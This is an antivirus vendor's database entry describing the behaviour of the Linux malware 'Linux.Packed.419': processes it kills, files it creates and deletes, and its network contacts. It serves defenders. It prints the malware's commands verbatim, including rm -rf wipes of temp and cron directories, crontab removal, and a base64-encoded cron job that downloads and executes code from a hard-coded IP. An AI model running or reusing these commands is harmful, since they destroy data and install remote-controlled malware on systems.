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Linux.Packed.419

Added to the Dr.Web virus database: 2019-05-23

Virus description added:

Technical Information

Malicious functions:
Launches itself as a daemon
Substitutes application name for:
  • ybxp
  • liueto
  • lycq
  • * **
  • ufw
Launches processes:
  • sh -c crontab -r ; rm -rf /tmp/* ; rm -rf /tmp/.* ; rm -rf /dev/shm/* ; rm -rf /dev/shm/.* ; rm -rf /var/spool/cron/*/* ; rm -rf /var/spool/ana*/*/*
  • crontab -r
  • rm -rf /tmp/*
  • rm -rf /tmp/. /tmp/.. /tmp/.ICE-unix /tmp/.Test-unix /tmp/.X11-unix /tmp/.XIM-unix /tmp/.font-unix
  • rm -rf /dev/shm/*
  • rm -rf /dev/shm/. /dev/shm/..
  • rm -rf /var/spool/cron/*/*
  • rm -rf /var/spool/ana*/*/*
  • sh -c /root/hclrjy
  • /root/hclrjy
  • sh -c /root/lumktt lycq
  • /root/lumktt lycq
  • sh -c /root/tmxuel ojtr
  • /root/tmxuel ojtr
  • sh -c /root/dtdm
  • /root/dtdm
  • sh -c /root/qoruelgcdi snhv
  • sh -c /root/flxlusnnud lyxc
  • sh -c /root/vmpshocrts xufe
  • sh -c /root/sjuspepcbg vtvp
  • sh -c /root/vesxdextqg msdk
  • sh -c /root/vigmdldwjh bxtq
  • sh -c /root/xcpgjilhdx tomb
  • sh -c /root/twkrjhbfbe sxdj
  • sh -c /root/cuymljvjoo sgcu
  • sh -c /root/urmdtbming euqy
  • /root/twkrjhbfbe sxdj
  • /root/xcpgjilhdx tomb
  • sh -c /root/gwsfio ddhn
  • sh -c /root/cnxidmkoxd icsj
  • sh -c echo '* * * * * echo -n \"KCBjaG1vZCA3NzcgL3Vzci9iaW4vcHkqIDsgcHl0aG9uIC1jICdpbXBvcnQgb3Msc3lzLHVybGxpYixvcy5wYXRoO25tPW9zLnVyYW5kb20oNCkuZW5jb2RlKCJoZXgiKTsgaG09b3MucGF0aC5leHBhbmR1c2VyKCJ+LyIpOyBwYXRocyA9W2htLCIvdG1wLyIsIi92YXIvdG1wLyIsIi9kZXYvc2htLyJdOyBsX3B0aD1uZXh0KGl0ZXIocHRoIGZvciBwdGggaW4gcGF0aHMgaWYgb3MuYWNjZXNzKHB0aCwgb3MuRl9PS3xvcy5SX09LfG9zLldfT0t8b3MuWF9PSyApIG9yIFtdKSwgTm9uZSk7aD1sX3B0aCtubTsgaGQgPSB1cmxsaWIudXJscmV0cmlldmUgKCJodHRwOi8vMzcuMjI4LjEyOS41OC9ob21lL3N5bmMiLCBoKTsgZi5jbG9zZSgpO29zLnN5c3RlbSgiY2htb2QgNzc3NyB7fSIuZm9ybWF0KGgpKTtvcy5zeXN0ZW0oImNobW9kICt4IHt9Ii5mb3JtYXQoaCkpOyBvcy5zeXN0ZW0oInt9Ii5mb3JtYXQoaCkpJyAgKQ==\" | base64 -d | sh > /dev/null' | crontab -;
  • /root/gwsfio ddhn
  • /root/cnxidmkoxd icsj
  • crontab -
Kills system processes:
  • sshd
Kills the following processes:
  • run.sh
  • bash
  • atd
  • (sd-pam)
  • /bin/sh
  • /root/lumktt
  • /root/dtdm
  • Unknown process with PID: 0
  • cron
  • systemd-journal
Performs operations with the file system:
Modifies file access rights:
  • /root/hclrjy
  • /root/lumktt
  • /root/tmxuel
  • /root/dtdm
  • /dev/urandom
  • /root/qoruelgcdi
  • /root/vmpshocrts
  • /root/flxlusnnud
  • /root/sjuspepcbg
  • /root/vesxdextqg
  • /usr/bin/perl
  • /usr/bin/python3.4
  • /root/vigmdldwjh
  • /usr/bin/python2.7
  • /usr/bin/mawk
  • /usr/bin/xargs
  • /root/xcpgjilhdx
  • /bin/sed
  • /usr/bin/crontab
  • /root/cuymljvjoo
  • /root/urmdtbming
  • /root/gwsfio
  • /root/cnxidmkoxd
Creates or modifies files:
  • /root/hclrjy
  • /root/lumktt
  • /root/c
  • /root/dtdm
  • /root/tmxuel
  • /root/flxlusnnud
  • /root/qoruelgcdi
  • /root/vmpshocrts
  • /root/vesxdextqg
  • /root/sjuspepcbg
  • /root/vigmdldwjh
  • /root/xcpgjilhdx
  • /root/twkrjhbfbe
  • /root/cuymljvjoo
  • /root/urmdtbming
  • /root/gwsfio
  • /root/cnxidmkoxd
Deletes files:
  • /tmp/*
  • /dev/shm/*
  • /var/spool/cron/*/*
  • /var/spool/ana*/*/*
  • /root/lumktt
  • /root/dtdm
  • /root/tmxuel
  • /root/ojtr
  • /root/qoruelgcdi
  • /root/vmpshocrts
  • /root/vesxdextqg
  • /root/vigmdldwjh
  • /root/xcpgjilhdx
  • /root/twkrjhbfbe
  • /root/cuymljvjoo
  • /root/urmdtbming
  • /root/gwsfio
  • /root/cnxidmkoxd
Network activity:
HTTP GET requests:
  • 37.###.129.58/home/sync
  • 95.###.142.161/c/cdc
  • 95.###.142.161/c/coooc
  • 95.###.142.161/c/nap
  • 37.###.129.58/home/slpr
  • 95.###.142.161/c/dth
Receives data from the following servers:
  • 45.##.54.157:80

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